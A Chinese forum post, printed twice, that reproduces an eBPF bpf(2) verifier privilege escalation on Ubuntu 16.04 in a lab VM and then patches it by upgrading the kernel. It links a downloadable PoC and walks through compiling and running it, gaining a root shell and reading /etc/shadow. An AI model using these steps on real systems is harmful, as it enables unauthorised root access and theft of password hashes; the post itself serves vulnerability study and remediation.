uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon ~]$
[ttgo2@bogon ~]$ sudo passwd
[sudo] password for ttgo2:
[b]Sorry, user ttgo2 is not allowed to execute '/usr/bin/passwd' as root on bogon.
[/b][ttgo2@bogon ~]$


 
 
注意问题: 在配置visudo的时候,需要添加命令的全路径,多个命令直接使用“,”逗号隔开。
 
夜色已深,已经困的快睁不开双眼了,希望能对大家有所帮助
 
 
 

Ubuntu 16.04 本地提权漏洞复现过程

ttgo2 发表了文章 • 0 个评论 • 1485 次浏览 • 2018-08-28 17:35 • 来自相关话题

一、漏洞描述
该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升
二、影响范围
主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响Linux内核:Linux Kernel Version 4.14 ~ 4.4
Ubuntu版本:16.04.01~ 16.04.04root@ubuntu:~# cat /etc/issue
Ubuntu 16.04.3 LTS \n \l

root@ubuntu:~# uname -r
4.4.0-87-generic
root@ubuntu:~# 三、测试环境
VM虚拟机:vmware station 12
操作系统:ubuntu-16.04.3-server-amd64.iso
POC:  链接:https://pan.baidu.com/s/1Xwg2AF5TCASvETdrW-Vg-A 密码:b7c2
四、复现过程
step1: 查看本地id 当前的用户




step2:下载POC到本地家目录
可以通过xshell下的xftp直接上传到服务器,不再具体讲解。
step3:安装gcc的编译环境sudo apt-get install gcc



step4:使用gcc进行编译 upstream44.c的文件gcc -o sec upstream44.cstep5: 给sec文件增加一个执行权限chmod +x sec


step6:执行sec文件,进行本地提权ttgo2@ubuntu:~$ ./sec
task_struct = ffff88003278aa00
uidptr = ffff8800327d3e04
spawning root shell
root@ubuntu:~#



step7:提权成功,执行id和cat /etc/shadowroot@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare),1000(ttgo2)
root@ubuntu:~# cat /etc/shadow
root:!:17771:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::



五、漏洞修复
升级一下内核版本即可,具体操作如下:
 step1:找到合适的版本,最新不一定是最好
ubuntu 内核版本地址:http://kernel.ubuntu.com/~kernel-ppa/mainline/





step2: 选择v4.8 进入,选择如下:linux-headers-4.8.0-040800_4.8.0-040800.201610022031_all.deb
linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb
linux-image-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb



step3: 下载到本地目录wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.8/linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.debstep4:进行安装,过程如下:ttgo2@ubuntu:~$ [b]sudo dpkg -i *.deb
[/b][sudo] password for ttgo2:
Selecting previously unselected package linux-headers-4.8.0-040800.
(Reading database ... 90554 files and directories currently installed.)
Preparing to unpack linux-headers-4.8.0-040800_4.8.0-040800.201610022031_all.deb ...
Unpacking linux-headers-4.8.0-040800 (4.8.0-040800.201610022031) ...
Selecting previously unselected package linux-headers-4.8.0-040800-generic.
Preparing to unpack linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb ...
Unpacking linux-headers-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Selecting previously unselected package linux-image-4.8.0-040800-generic.
Preparing to unpack linux-image-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb ...
Done.
Unpacking linux-image-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Setting up linux-headers-4.8.0-040800 (4.8.0-040800.201610022031) ...
Setting up linux-headers-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Setting up linux-image-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Running depmod.
update-initramfs: deferring update (hook will be called later)
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/apt-auto-removal 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
update-initramfs: Generating /boot/initrd.img-4.8.0-040800-generic
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.8.0-040800-generic
Found initrd image: /boot/initrd.img-4.8.0-040800-generic
Found linux image: /boot/vmlinuz-4.4.0-87-generic
Found initrd image: /boot/initrd.img-4.4.0-87-generic
done
 
step4: 然后对系统进行重启,查看版本是否更新到4.8​ttgo2@ubuntu:~$ uname -sr
Linux 4.8.0-040800-genericstep5:复测一下漏洞是否修复ttgo2@ubuntu:~$ ./sec
task_struct = ffff9923741d5900
error: bogus uid ptr
ttgo2@ubuntu:~$





 
到此为止全部工作已经搞定,这个过程中升级内核会有一定的风险,这里建议能重新安装就重新安装一个新的系统,我实验过程中遇到一次升级失败,导致系统无法启动,幸亏有镜像。水平有限大牛们多多指教。谢谢 查看全部
一、漏洞描述
该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升
二、影响范围
主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响
Linux内核:Linux Kernel Version 4.14 ~ 4.4 
Ubuntu版本:16.04.01~ 16.04.04
root@ubuntu:~# cat /etc/issue
Ubuntu 16.04.3 LTS \n \l

root@ubuntu:~# uname -r
4.4.0-87-generic
root@ubuntu:~#
三、测试环境
VM虚拟机:vmware station 12
操作系统:ubuntu-16.04.3-server-amd64.iso
POC:  链接:https://pan.baidu.com/s/1Xwg2AF5TCASvETdrW-Vg-A 密码:b7c2
四、复现过程
step1: 查看本地id 当前的用户
u1.png

step2:下载POC到本地家目录
可以通过xshell下的xftp直接上传到服务器,不再具体讲解。
step3:安装gcc的编译环境
sudo apt-get install gcc
u2.png

step4:使用gcc进行编译 upstream44.c的文件
gcc -o sec upstream44.c
step5: 给sec文件增加一个执行权限
chmod +x sec


step6:执行sec文件,进行本地提权
ttgo2@ubuntu:~$ ./sec 
task_struct = ffff88003278aa00
uidptr = ffff8800327d3e04
spawning root shell
root@ubuntu:~#
t1.png

step7:提权成功,执行id和cat /etc/shadow
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare),1000(ttgo2)
root@ubuntu:~# cat /etc/shadow
root:!:17771:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
t2.png

五、漏洞修复
升级一下内核版本即可,具体操作如下:
 step1:找到合适的版本,最新不一定是最好
ubuntu 内核版本地址:http://kernel.ubuntu.com/~kernel-ppa/mainline/

a2.png

step2: 选择v4.8 进入,选择如下:
linux-headers-4.8.0-040800_4.8.0-040800.201610022031_all.deb 
linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb
linux-image-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb
a3.png

step3: 下载到本地目录
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.8/linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb
step4:进行安装,过程如下:
ttgo2@ubuntu:~$ [b]sudo dpkg -i *.deb
[/b][sudo] password for ttgo2:
Selecting previously unselected package linux-headers-4.8.0-040800.
(Reading database ... 90554 files and directories currently installed.)
Preparing to unpack linux-headers-4.8.0-040800_4.8.0-040800.201610022031_all.deb ...
Unpacking linux-headers-4.8.0-040800 (4.8.0-040800.201610022031) ...
Selecting previously unselected package linux-headers-4.8.0-040800-generic.
Preparing to unpack linux-headers-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb ...
Unpacking linux-headers-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Selecting previously unselected package linux-image-4.8.0-040800-generic.
Preparing to unpack linux-image-4.8.0-040800-generic_4.8.0-040800.201610022031_amd64.deb ...
Done.
Unpacking linux-image-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Setting up linux-headers-4.8.0-040800 (4.8.0-040800.201610022031) ...
Setting up linux-headers-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Setting up linux-image-4.8.0-040800-generic (4.8.0-040800.201610022031) ...
Running depmod.
update-initramfs: deferring update (hook will be called later)
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/apt-auto-removal 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
update-initramfs: Generating /boot/initrd.img-4.8.0-040800-generic
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 4.8.0-040800-generic /boot/vmlinuz-4.8.0-040800-generic
Generating grub configuration file ...
Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported.
Found linux image: /boot/vmlinuz-4.8.0-040800-generic
Found initrd image: /boot/initrd.img-4.8.0-040800-generic
Found linux image: /boot/vmlinuz-4.4.0-87-generic
Found initrd image: /boot/initrd.img-4.4.0-87-generic
done

 
step4: 然后对系统进行重启,查看版本是否更新到4.8
​ttgo2@ubuntu:~$ uname -sr
Linux 4.8.0-040800-generic
step5:复测一下漏洞是否修复
ttgo2@ubuntu:~$ ./sec
task_struct = ffff9923741d5900
error: bogus uid ptr
ttgo2@ubuntu:~$

x1.png

 
到此为止全部工作已经搞定,这个过程中升级内核会有一定的风险,这里建议能重新安装就重新安装一个新的系统,我实验过程中遇到一次升级失败,导致系统无法启动,幸亏有镜像。水平有限大牛们多多指教。谢谢